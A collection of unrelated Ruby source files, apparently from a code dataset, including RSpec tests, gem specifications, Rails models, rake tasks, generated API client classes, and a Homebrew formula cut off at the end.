| 39.434211 | 74 | 0.711044 |
6aa6bf03195cc29cde0b0f8405f87c1f2365487c | 599 | # frozen_string_literal: true
require 'httparty'
require 'koine/url'
require 'koine/rest_client/error'
require 'koine/rest_client/version'
require 'koine/rest_client/client'
require 'koine/rest_client/async_builder'
require 'koine/rest_client/async_queue'
require 'koine/rest_client/response_parser'
require 'koine/rest_client/bad_request_error'
require 'koine/rest_client/not_found_error'
require 'koine/rest_client/internal_server_error'
require 'koine/rest_client/request'
require 'koine/rest_client/adapters/http_party_adapter'
module Koine
# The gem namespace
module RestClient
end
end
| 27.227273 | 55 | 0.833055 |
184e3db72ece434f01ca794a90eaa145d46e7714 | 943 | # frozen_string_literal: true
# Groups::RepositoryStorageMove store details of repository storage moves for a
# group. For example, moving a group to another gitaly node to help
# balance storage capacity.
module Groups
class RepositoryStorageMove < ApplicationRecord
extend ::Gitlab::Utils::Override
include RepositoryStorageMovable
self.table_name = 'group_repository_storage_moves'
belongs_to :container, class_name: 'Group', inverse_of: :repository_storage_moves, foreign_key: :group_id
alias_attribute :group, :container
scope :with_groups, -> { includes(container: :route) }
override :schedule_repository_storage_update_worker
def schedule_repository_storage_update_worker
Groups::UpdateRepositoryStorageWorker.perform_async(
group_id,
destination_storage_name,
id
)
end
private
override :error_key
def error_key
:group
end
end
end
| 26.942857 | 109 | 0.745493 |
1c7aeb9f163140ed037c229d88cbe134a4cb79e5 | 957 | lib = File.expand_path("../lib", __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require "sidtool/version"
Gem::Specification.new do |spec|
spec.name = 'sidtool'
spec.version = Sidtool::VERSION
spec.authors = ['Ole Friis Østergaard']
spec.email = ['[email protected]']
spec.summary = 'Convert SID tunes to other formats'
spec.homepage = 'https://github.com/olefriis/sidtool'
spec.license = 'MIT'
spec.required_ruby_version = '>= 2.3'
spec.files = `git ls-files -z`.split("\x0").reject do |f|
f.match(%r{^(test|spec|features)/})
end
spec.executables = 'sidtool'
spec.require_paths = ['lib']
spec.add_dependency 'mos6510', '~> 0.1.1'
spec.add_development_dependency 'bundler', '~> 2.0'
spec.add_development_dependency 'rake', '~> 10.0'
spec.add_development_dependency 'rspec', '~> 3.0'
spec.add_development_dependency 'pry', '~> 0.12.2'
end
| 33 | 67 | 0.647858 |
ff37bb6ccce298891abde85c3dc26f03ad01bfd6 | 538 | # frozen_string_literal: true
module PlanningCenter
module Endpoints
module Donations
def donation(id, params = {})
get(
"giving/v2/donations/#{id}",
params
)
end
def donations(params = {})
# We need to order the donations by a value (created_at being the default),
# because the results are not consistently ordered without it.
get(
'giving/v2/donations',
{ order: :created_at }.merge(params)
)
end
end
end
end
| 22.416667 | 83 | 0.576208 |
6a86054ba1b2fb168cfc06051dcf1b5edf727dc3 | 8,110 | require_relative '../lib/enumerable_methods'
describe Enumerable do
let(:array) { %w[apple Orange Watermelon Banana] }
let(:hash) { { fruit: 'banana', phone: 'apple' } }
let(:number_array) { [1, 2, 3, 4] }
let(:arr) { [] }
let(:false_arr) { [false] }
let(:true_arr) { [1, 3, 5] }
let(:varied_array) { [nil, true, 99] }
let(:animal_array) { %w[ant bear cat] }
let(:float_array) { [2.34, 3.14, 20, 78, 6.82] }
let(:nil_array) { [nil] }
let(:true_array) { [nil, true, false] }
let(:range) { (5..10) }
let(:range2) { (1..15) }
describe '#my_each' do
it 'returns the array' do
expect(array.my_each { |fruit| fruit }).to eql(array)
end
it 'returns the numbers if they are even' do
expect(number_array.my_each { |number| number if number.even? })
.to eql(number_array.each { |number| number if number.even? })
end
it 'my_each when self is a hash' do
expect(hash.my_each { |keys, value| keys if value == 'banana' })
.to eql(hash.each { |keys, value| keys if value == 'banana' })
end
it 'does not return a transformed array' do
expect(number_array.my_each { |n| n * 2 }).not_to eq([2, 4, 6, 8])
end
it 'returns an Enumerator if no block is passed for Array' do
expect(array.my_each).to be_a(Enumerator)
end
it 'returns an Enumerator if no block is passed for Hash' do
expect(hash.my_each).to be_a(Enumerator)
end
end
describe '#my_each_with_index' do
it 'returns the doubled indexes for an array' do
expect(number_array.my_each_with_index { |_number, index| index * 2 })
.to eql(number_array.each_with_index { |_number, index| index * 2 })
end
it 'returns all elements that are even index' do
expect(number_array.my_each_with_index { |number, index| number if index.even? })
.to eql(number_array.each_with_index { |number, index| number if index.even? })
end
it 'returns hash if an index for key is 1' do
expect(hash.my_each_with_index { |hash, index| hash if index == 1 })
.to eql(hash.each_with_index { |hash, index| hash if index == 1 })
end
it 'does not return a transformed array' do
expect(number_array.my_each_with_index { |n, index| n * 2 if index.even? }).not_to eq([2, 2, 6, 4])
end
end
describe '#my_all?' do
it 'returns true if all of the elements matches the condition' do
expect(array.my_all? { |word| word.length >= 5 }).to be true
end
it 'returns false if all of the elements does not match the condition' do
expect(array.my_all? { |word| word.length >= 20 }).to be false
end
it 'returns true if all elements has the letter a' do
expect(array.my_all?(/a/)).to be true
end
it 'returns false if all elements does not have the letter y' do
expect(array.my_all?(/y/)).to be false
end
it 'returns true if all of the elements are numeric' do
expect(number_array.my_all?(Numeric)).to be true
end
it 'returns true if we don\'t have a block' do
expect(arr.my_all?).to be true
end
it 'returns false for unmatched statements' do
expect(varied_array.my_all?).to be false
end
end
describe '#my_select' do
it 'returns elements with 6 letters' do
expect(array.my_select { |word| word if word.length == 6 }).to eq(%w[Orange Banana])
end
it 'return elements with letters lesser than 6 and highger than 6' do
expect(array.my_select { |word| word if word.length < 6 || word.length > 6 }).to eq(%w[apple Watermelon])
end
it 'returns all the numbers divisible by 2' do
expect(number_array.my_select { |number| number if number.even? }).to eq([2, 4])
end
it 'doens\'t modify the original array' do
test_array = [1, 2, 4]
new_array = test_array.my_select { |n| n * 2 }
expect(new_array).to eq(test_array)
end
it 'returns only an array with the multiple of 3 numbers in the Range' do
expect((1..10).my_select { |i| i % 3 == 0 }).to eql([3, 6, 9])
end
it 'returns only an array as indicated' do
expect(%i[foo bar].my_select { |x| x == :foo }).to eql([:foo])
end
it 'returns an enumerator when a block is not passed' do
expect((1..10).my_select).to be_a(Enumerator)
end
end
describe '#my_any?' do
it 'returns true if there\'s at least one word with 3 letters' do
expect(animal_array.my_any? { |word| word.length >= 3 }).to be true
end
it 'returns false if there\'s not at least one word with letter d' do
expect(animal_array.my_any?(/d/)).to be false
end
it 'returns true if there\'s at least one integer' do
expect(varied_array.my_any?(Integer)).to be true
end
it 'returns false if we don\'t have a block' do
expect(arr.my_any?).to be false
end
it 'returns true if at least one element exists' do
expect(varied_array.my_any?).to be true
end
end
describe '#my_none?' do
it 'returns true if there are no words with 5 letters' do
expect(animal_array.my_none? { |word| word.length >= 5 }).to be true
end
it 'returns true if there are no words with letter d' do
expect(animal_array.my_none?(/d/)).to be true
end
it 'returns true if we don\'t have anything inside the array' do
expect(arr.my_none?).to be true
end
it 'returns true if the values inside the array are nil' do
expect(nil_array.my_none?).to be true
end
it 'returns false if there\'s at least, a true boolean' do
expect(true_array.my_none?).to be false
end
it 'returns false as at least one element have 4 or more letters' do
expect(animal_array.my_none? { |word| word.length >= 4 }).to eql(false)
end
it 'returns false when there is and false otherwise' do
expect(true_array.my_none?).to eql(false)
end
end
describe '#my_count' do
it 'returns the number of elements' do
expect(number_array.my_count).to eql(4)
end
it 'returns the number of times an element appears in the array' do
expect(number_array.my_count(4)).to eql(1)
end
it 'returns the number of elements witch are equal to 5' do
expect(number_array.my_count { |x| x if x == 5 }).to eql(0)
end
end
describe '#my_map' do
it 'modifies the elements in the array depending on the condition' do
expect(number_array.my_map { |number| number * 2 }).to eql([2, 4, 6, 8])
end
it 'repeats the elements N times as indicated' do
expect((1..3).my_map { 'hello' }).to eql(%w[hello hello hello])
end
it 'modifies the words between arrays' do
foods = ['Small hamburger', 'Small soda', 'Small potatos']
expected = ['extraHyperUltraBig hamburger', 'extraHyperUltraBig soda', 'extraHyperUltraBig potatos']
expect(foods.my_map { |foodie| foodie.gsub('Small', 'extraHyperUltraBig') }).to eq(expected)
end
it 'doens\'t change the initial array' do
array = %w[hello hey]
new_array = array.my_map { |el| el * 3 }
expect(array).not_to eq(new_array)
end
it 'returns an Enumerator when none block is given' do
expect(range.my_map).to be_a(Enumerator)
end
end
describe '#my_inject' do
it 'returns the outcome of summing many elements' do
expect(range.my_inject(:+)).to eql(45)
end
it 'sums all of the elements using a block' do
expect(range2.my_inject { |sum, n| sum + n }).to eql(120)
end
it 'multiply all elements and returns the outcome' do
expect(range.my_inject(1, :*)).to eql(151_200)
end
it 'returns the outcome of all multiplied elements using a block' do
expect(range.my_inject(1) { |el, n| el * n }).to eql(151_200)
end
it 'returns the longest word' do
longest = array.my_inject { |memo, word| memo.length > word.length ? memo : word }
expect(longest).to eql('Watermelon')
end
end
describe '#multiply_els' do
it 'multiplies all the elements of the array' do
expect(number_array.my_inject { |el, n| el * n }).to eql(24)
end
end
end
| 32.44 | 111 | 0.64291 |
08c2d56a30ad35797246eb3bce12dcfdc4c047f0 | 2,855 | RSpec.describe Metasploit::Model::Engine do
context 'config' do
subject(:config) do
described_class.config
end
context 'generators' do
subject(:generators) do
config.generators
end
context 'options' do
subject(:options) do
generators.options
end
context 'factory_girl' do
subject(:factory_girl) do
options[:factory_girl]
end
context 'dir' do
subject(:dir) {
factory_girl[:dir]
}
it { is_expected.to eq('spec/factories') }
end
end
context 'rails' do
subject(:rails) do
options[:rails]
end
context 'assets' do
subject(:assets) {
rails[:assets]
}
it { is_expected.to eq(false) }
end
context 'fixture_replacement' do
subject(:fixture_replacement) {
rails[:fixture_replacement]
}
it { is_expected.to eq(:factory_girl) }
end
context 'helper' do
subject(:helper) {
rails[:helper]
}
it { is_expected.to eq(false) }
end
context 'test_framework' do
subject(:test_framework) {
rails[:test_framework]
}
it { is_expected.to eq(:rspec) }
end
end
context 'rspec' do
subject(:rspec) do
options[:rspec]
end
context 'fixture' do
subject(:fixture) {
rspec[:fixture]
}
it { is_expected.to eq(false) }
end
end
end
end
end
context 'initializers' do
subject(:initializers) do
# need to use Rails's initialized copy of Dummy::Application so that initializers have the correct context when
# run
Rails.application.initializers
end
context 'metasploit-model.prepend_factory_path' do
subject(:initializer) do
initializers.find { |initializer|
initializer.name == 'metasploit-model.prepend_factory_path'
}
end
it 'should run after factory_girl.set_factory_paths' do
expect(initializer.after).to eq('factory_girl.set_factory_paths')
end
context 'running' do
def run
initializer.run
end
context 'with FactoryBot defined' do
it 'should prepend full path to spec/factories to FactoryBot.definition_file_paths' do
definition_file_path = Metasploit::Model::Engine.root.join('spec', 'factories')
expect(FactoryBot.definition_file_paths).to receive(:unshift).with(definition_file_path)
run
end
end
end
end
end
end | 23.595041 | 117 | 0.542207 |
3900868634afb62c4fcf24a65082db41def55a76 | 1,260 | require 'aws-sdk-sesv2'
namespace :notify do
task create_templates: :environment do
templates = Rails.root.join("spec", "fixtures", "notify", "*")
client = Aws::SESV2::Client.new
Dir[templates].each do |file|
Notifications::Template.create!(YAML.load_file(file))
sleep(0.5) # Otherwise we'll trigger a TooManyRequestsException
end
end
task update_templates: :environment do
templates = Rails.root.join("spec", "fixtures", "notify", "*")
client = Aws::SESV2::Client.new
Dir[templates].each do |file|
yaml = YAML.load_file(file)
template = Notifications::Template.find(yaml["id"])
template.update!(subject: yaml["subject"], body: yaml["body"])
sleep(0.5) # Otherwise we'll trigger a TooManyRequestsException
end
end
task delete_templates: :environment do
Notifications::Template.find_each do |template|
template.destroy
sleep(0.5) # Otherwise we'll trigger a TooManyRequestsException
end
end
task cleanup: :environment do
Task.run("notify:cleanup") do
time = 180.days.ago.beginning_of_day
tomorrow = Date.tomorrow.beginning_of_day
CleanupNotificationsJob.set(wait_until: tomorrow).perform_later(time.iso8601)
end
end
end
| 27.391304 | 83 | 0.690476 |
ac0f7b830736271d8e206e7db4d4d879c7fc981e | 189 | require "gds_api/link_checker_api"
Whitehall.link_checker_api_client = GdsApi::LinkCheckerApi.new(
Plek.find("link-checker-api"),
bearer_token: ENV["LINK_CHECKER_API_BEARER_TOKEN"],
)
| 27 | 63 | 0.798942 |
1abec15b0f1316a8a61389f8c025037fe5eae8a6 | 591 | require('rspec')
require('ping_pong')
describe("ping_pong") do
it("creates an array of [1,2] when 2 is entered") do
expect((2).ping_pong).to(eq([1,2]))
end
it("returns 'ping' if the number is divisible by 3") do
expect((3).ping_pong).to(eq([1, 2, 'ping']))
end
it("returns 'pong' if the number is divisible by 5") do
expect((5).ping_pong).to(eq([1, 2, 'ping', 4, 'pong']))
end
it("returns 'ping-pong' if the number is divisble by both") do
expect((15).ping_pong).to(eq([1,2,'ping',4,'pong','ping',7,8,'ping','pong',11,'ping',13,14,'ping-pong']))
end
end
| 26.863636 | 109 | 0.620981 |
03f730e2af348113e88321ab745581033d5f3c32 | 6,419 | # frozen_string_literal: true
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
module Google
module Cloud
module ArtifactRegistry
module V1beta2
# A Repository for storing artifacts with a specific format.
# @!attribute [rw] name
# @return [::String]
# The name of the repository, for example:
# "projects/p1/locations/us-central1/repositories/repo1".
# @!attribute [rw] format
# @return [::Google::Cloud::ArtifactRegistry::V1beta2::Repository::Format]
# The format of packages that are stored in the repository.
# @!attribute [rw] description
# @return [::String]
# The user-provided description of the repository.
# @!attribute [rw] labels
# @return [::Google::Protobuf::Map{::String => ::String}]
# Labels with user-defined metadata.
# This field may contain up to 64 entries. Label keys and values may be no
# longer than 63 characters. Label keys must begin with a lowercase letter
# and may only contain lowercase letters, numeric characters, underscores,
# and dashes.
# @!attribute [rw] create_time
# @return [::Google::Protobuf::Timestamp]
# The time when the repository was created.
# @!attribute [rw] update_time
# @return [::Google::Protobuf::Timestamp]
# The time when the repository was last updated.
# @!attribute [rw] kms_key_name
# @return [::String]
# The Cloud KMS resource name of the customer managed encryption key that’s
# used to encrypt the contents of the Repository. Has the form:
# `projects/my-project/locations/my-region/keyRings/my-kr/cryptoKeys/my-key`.
# This value may not be changed after the Repository has been created.
class Repository
include ::Google::Protobuf::MessageExts
extend ::Google::Protobuf::MessageExts::ClassMethods
# @!attribute [rw] key
# @return [::String]
# @!attribute [rw] value
# @return [::String]
class LabelsEntry
include ::Google::Protobuf::MessageExts
extend ::Google::Protobuf::MessageExts::ClassMethods
end
# A package format.
module Format
# Unspecified package format.
FORMAT_UNSPECIFIED = 0
# Docker package format.
DOCKER = 1
end
end
# The request to list repositories.
# @!attribute [rw] parent
# @return [::String]
# The name of the parent resource whose repositories will be listed.
# @!attribute [rw] page_size
# @return [::Integer]
# The maximum number of repositories to return.
# Maximum page size is 10,000.
# @!attribute [rw] page_token
# @return [::String]
# The next_page_token value returned from a previous list request, if any.
class ListRepositoriesRequest
include ::Google::Protobuf::MessageExts
extend ::Google::Protobuf::MessageExts::ClassMethods
end
# The response from listing repositories.
# @!attribute [rw] repositories
# @return [::Array<::Google::Cloud::ArtifactRegistry::V1beta2::Repository>]
# The repositories returned.
# @!attribute [rw] next_page_token
# @return [::String]
# The token to retrieve the next page of repositories, or empty if there are
# no more repositories to return.
class ListRepositoriesResponse
include ::Google::Protobuf::MessageExts
extend ::Google::Protobuf::MessageExts::ClassMethods
end
# The request to retrieve a repository.
# @!attribute [rw] name
# @return [::String]
# The name of the repository to retrieve.
class GetRepositoryRequest
include ::Google::Protobuf::MessageExts
extend ::Google::Protobuf::MessageExts::ClassMethods
end
# The request to create a new repository.
# @!attribute [rw] parent
# @return [::String]
# The name of the parent resource where the repository will be created.
# @!attribute [rw] repository_id
# @return [::String]
# The repository id to use for this repository.
# @!attribute [rw] repository
# @return [::Google::Cloud::ArtifactRegistry::V1beta2::Repository]
# The repository to be created.
class CreateRepositoryRequest
include ::Google::Protobuf::MessageExts
extend ::Google::Protobuf::MessageExts::ClassMethods
end
# The request to update a repository.
# @!attribute [rw] repository
# @return [::Google::Cloud::ArtifactRegistry::V1beta2::Repository]
# The repository that replaces the resource on the server.
# @!attribute [rw] update_mask
# @return [::Google::Protobuf::FieldMask]
# The update mask applies to the resource. For the `FieldMask` definition,
# see
# https://developers.google.com/protocol-buffers/docs/reference/google.protobuf#fieldmask
class UpdateRepositoryRequest
include ::Google::Protobuf::MessageExts
extend ::Google::Protobuf::MessageExts::ClassMethods
end
# The request to delete a repository.
# @!attribute [rw] name
# @return [::String]
# The name of the repository to delete.
class DeleteRepositoryRequest
include ::Google::Protobuf::MessageExts
extend ::Google::Protobuf::MessageExts::ClassMethods
end
end
end
end
end
| 41.147436 | 101 | 0.61614 |
289e3353026434b0fb6bce7065ff1df0c73ec02a | 5,534 | #!/usr/bin/env rake
require 'rake'
require 'rake/tasklib'
require 'fileutils'
require 'bundler/setup'
module DaFunk
class RakeTask < ::Rake::TaskLib
include ::Rake::DSL if defined?(::Rake::DSL)
attr_accessor :name, :libs, :tests, :tests_unit, :tests_integration, :root_path, :main_out,
:test_out, :resources, :mrbc, :mruby, :out_path, :resources_out, :debug,
:tests_resources, :tests_res_out
def initialize
yield self if block_given?
@debug = @debug.is_a?(FalseClass) ? false : true
@libs ||= FileList['lib/**/*.rb']
@tests ||= FileList['test/**/*test.rb']
@tests_integration ||= FileList['test/integration/**/*test.rb']
@tests_unit ||= FileList['test/unit/**/*test.rb']
@tests_resources ||= FileList['test/resources/**/*']
@root_path ||= "./"
@name ||= File.basename(File.expand_path(@root_path))
@out_path ||= File.join(root_path, "out", @name)
@main_out ||= File.join(out_path, "main.mrb")
@test_out ||= File.join(out_path, "test.mrb")
@resources ||= FileList['resources/**/*']
@resources_out ||= @resources.pathmap("%{resources,#{File.join(root_path, "out")}}p")
@tests_res_out ||= @tests_resources.pathmap("%{test/resources,out}p")
@mruby ||= "cloudwalk run -b"
@mrbc = get_mrbc_bin(@mrbc)
define
end
def debug_flag
if @debug
"-g"
else
""
end
end
# Searches for a mrbc binary.
def get_mrbc_bin(from_user)
device = "/dev/null"
if %w[i386-mingw32 x64-mingw32].include?(RUBY_PLATFORM) && !ENV['SHELL']
device = "NUL" # Windows Command Prompt
end
if !system("type mrbc > #{device} 2>&1") && from_user
from_user
elsif system("type mrbc > #{device} 2>&1")
"env mrbc"
elsif ENV["MRBC"]
ENV["MRBC"]
elsif system("type cloudwalk > #{device} 2>&1")
"env cloudwalk compile"
else
puts "$MRBC isn't set or mrbc/cloudwalk isn't on $PATH"
exit 0
end
end
def execute_tests(files)
# Debug is always on during tests(-g)
command_line = File.join(File.dirname(__FILE__), "..", "..", "utils", "command_line_platform.rb")
command_line_obj = File.join(root_path, "out", "main", "command_line_platform.mrb")
all_files = FileList["test/test_helper.rb"] + libs + files + [command_line] + [File.join(File.dirname(__FILE__), "..", "..", "utils", "test_run.rb")]
if platform_call("#{@mrbc} -g -o #{command_line_obj} #{command_line}") && platform_call("#{@mrbc} -g -o #{test_out} #{all_files.uniq}")
puts "cd #{File.dirname(out_path)}"
FileUtils.cd File.dirname(out_path)
platform_call("#{mruby} #{File.join(name, "test.mrb")}")
end
end
def check_gem_out(gem)
if File.exists?(path = File.join(gem.full_gem_path, "out", "#{gem.name}.mrb")) && File.file?(path)
elsif File.exists?(path = File.join(gem.full_gem_path, "out", gem.name, "main.mrb")) && File.file?(path)
elsif File.exists?(path = File.join(gem.full_gem_path, "out", gem.name, "#{gem.name}.mrb")) && File.file?(path)
else
return nil
end
return path
end
def platform_call(command)
if (/cygwin|mswin|mingw|bccwin|wince|emx/ =~ RUBY_PLATFORM)
sh("bash -c \"#{command}\"")
else
sh command
end
end
def define
task :resources do
FileUtils.rm_rf File.join(root_path, "out")
FileUtils.mkdir_p out_path
FileUtils.mkdir_p File.join(root_path, "out", "main")
FileUtils.mkdir_p File.join(root_path, "out", "shared")
resources.each_with_index do |file,dest_i|
FileUtils.cp(file, resources_out[dest_i]) if File.file?(file)
end
Bundler.load.specs.each do |gem|
path = check_gem_out(gem)
FileUtils.cp(path, File.join(out_path, "#{gem.name}.mrb")) if path
end
end
desc "Compile app to mrb and process resources"
task :build => :resources do
platform_call "#{@mrbc} #{debug_flag} -o #{main_out} #{libs} "
end
desc "Compile, build and pack app and resources"
task :package => :build do
require "archive/zip"
Archive::Zip.archive File.join(root_path, "out", "#{name}.zip"), File.join(out_path, ".")
end
namespace :test do
task :setup => :resources do
ENV["RUBY_PLATFORM"] = "mruby"
tests_resources.each_with_index do |file,dest_i|
FileUtils.cp(file, tests_res_out[dest_i]) if File.file?(file)
end
end
desc "Run unit test on mruby"
task :unit => "test:setup" do
execute_tests(tests_unit)
end
desc "Run integration test on mruby"
task :integration => "test:setup" do
execute_tests(tests_integration)
end
desc "Run all test on mruby"
task :all => "test:setup" do
if ARGV[1]
execute_tests(FileList[ARGV.delete_at(1)])
exit(1)
else
execute_tests(tests)
end
end
end
desc "Clobber/Clean"
task :clean do
FileUtils.mkdir_p File.join(root_path, "out")
FileUtils.rm_rf main_out
end
task :default => :build
task :test => "test:all"
end
end
end
| 33.137725 | 162 | 0.574449 |
acb4fb7d7679f90b75ae73b2aa1dbe1340871891 | 10,635 | # ----------------------------------------------------------------------------
# <copyright company="Aspose" file="PostalAddress.rb">
# Copyright (c) 2018-2020 Aspose Pty Ltd. All rights reserved.
# </copyright>
# <summary>
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
# </summary>
# ----------------------------------------------------------------------------
require 'date'
module AsposeEmailCloud
# A postal address
class PostalAddress
# Address.
# @return [String]
attr_accessor :address
# Address category.
# @return [EnumWithCustomOfPostalAddressCategory]
attr_accessor :category
# Address's city.
# @return [String]
attr_accessor :city
# Address's country.
# @return [String]
attr_accessor :country
# Country code.
# @return [String]
attr_accessor :country_code
# Defines whether address may be used for mailing.
# @return [BOOLEAN]
attr_accessor :is_mailing_address
# Postal code.
# @return [String]
attr_accessor :postal_code
# Post Office box.
# @return [String]
attr_accessor :post_office_box
# Defines whether postal address is preferred.
# @return [BOOLEAN]
attr_accessor :preferred
# Address's region.
# @return [String]
attr_accessor :state_or_province
# Address's street.
# @return [String]
attr_accessor :street
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'address' => :'address',
:'category' => :'category',
:'city' => :'city',
:'country' => :'country',
:'country_code' => :'countryCode',
:'is_mailing_address' => :'isMailingAddress',
:'postal_code' => :'postalCode',
:'post_office_box' => :'postOfficeBox',
:'preferred' => :'preferred',
:'state_or_province' => :'stateOrProvince',
:'street' => :'street'
}
end
# Attribute type mapping.
def self.swagger_types
{
:'address' => :'String',
:'category' => :'EnumWithCustomOfPostalAddressCategory',
:'city' => :'String',
:'country' => :'String',
:'country_code' => :'String',
:'is_mailing_address' => :'BOOLEAN',
:'postal_code' => :'String',
:'post_office_box' => :'String',
:'preferred' => :'BOOLEAN',
:'state_or_province' => :'String',
:'street' => :'String'
}
end
# Initializes the object
# @param [String] address Address.
# @param [EnumWithCustomOfPostalAddressCategory] category Address category.
# @param [String] city Address's city.
# @param [String] country Address's country.
# @param [String] country_code Country code.
# @param [BOOLEAN] is_mailing_address Defines whether address may be used for mailing.
# @param [String] postal_code Postal code.
# @param [String] post_office_box Post Office box.
# @param [BOOLEAN] preferred Defines whether postal address is preferred.
# @param [String] state_or_province Address's region.
# @param [String] street Address's street.
def initialize(
address: nil,
category: nil,
city: nil,
country: nil,
country_code: nil,
is_mailing_address: nil,
postal_code: nil,
post_office_box: nil,
preferred: nil,
state_or_province: nil,
street: nil)
self.address = address if address
self.category = category if category
self.city = city if city
self.country = country if country
self.country_code = country_code if country_code
self.is_mailing_address = is_mailing_address if is_mailing_address
self.postal_code = postal_code if postal_code
self.post_office_box = post_office_box if post_office_box
self.preferred = preferred if preferred
self.state_or_province = state_or_province if state_or_province
self.street = street if street
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
if @is_mailing_address.nil?
invalid_properties.push('invalid value for "is_mailing_address", is_mailing_address cannot be nil.')
end
if @preferred.nil?
invalid_properties.push('invalid value for "preferred", preferred cannot be nil.')
end
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
return false if @is_mailing_address.nil?
return false if @preferred.nil?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
address == o.address &&
category == o.category &&
city == o.city &&
country == o.country &&
country_code == o.country_code &&
is_mailing_address == o.is_mailing_address &&
postal_code == o.postal_code &&
post_office_box == o.post_office_box &&
preferred == o.preferred &&
state_or_province == o.state_or_province &&
street == o.street
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[address, category, city, country, country_code, is_mailing_address, postal_code, post_office_box, preferred, state_or_province, street].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
attribute_key = self.class.attribute_map[key]
attribute_key = (attribute_key[0, 1].downcase + attribute_key[1..-1]).to_sym
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the the attribute
# is documented as an array but the input is not
if attributes[attribute_key].is_a?(Array)
self.send("#{key}=", attributes[attribute_key].map { |v| _deserialize($1, v) })
end
elsif !attributes[attribute_key].nil?
self.send("#{key}=", _deserialize(type, attributes[attribute_key]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
sub_type = value[:type] || value[:discriminator] || type
if AsposeEmailCloud.const_defined?(sub_type)
type = sub_type
end
temp_model = AsposeEmailCloud.const_get(type).new
temp_model.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 35.45 | 147 | 0.610437 |
792c2ae875d5a09bb38ff8d322cac12eb61ccd60 | 353 | # rspec spec/seb_elink_spec.rb
RSpec.describe SebElink do
it "has a version number" do
expect(SebElink::VERSION).not_to be nil
end
describe ".root" do
it "returns a Pathname to root of gem" do
# this spec may fail if you cloned the gem to a custom dir
expect(SebElink.root.to_s).to match(%r".*/seb_elink\z")
end
end
end
| 25.214286 | 64 | 0.685552 |
ed9165be8d57dfad8223c3b544ce1a1e6f5ba024 | 2,065 | require 'formula'
class Libvpx < Formula
homepage 'http://www.webmproject.org/code/'
url 'http://webm.googlecode.com/files/libvpx-v1.1.0.tar.bz2'
sha1 '356af5f770c50cd021c60863203d8f30164f6021'
depends_on 'yasm' => :build
option 'gcov', 'Enable code coverage'
option 'mem-tracker', 'Enable tracking memory usage'
option 'visualizer', 'Enable post processing visualizer'
# Fixes build error on ML, discussed in:
# https://github.com/mxcl/homebrew/issues/12567
# yasm: FATAL: unable to open include file `asm_enc_offsets.asm'. Reported to:
# https://groups.google.com/a/webmproject.org/group/webm-discuss/browse_thread/thread/39d1166feac1061c
# Not yet in HEAD as of 20 JUN 2012.
def patches; DATA; end
def install
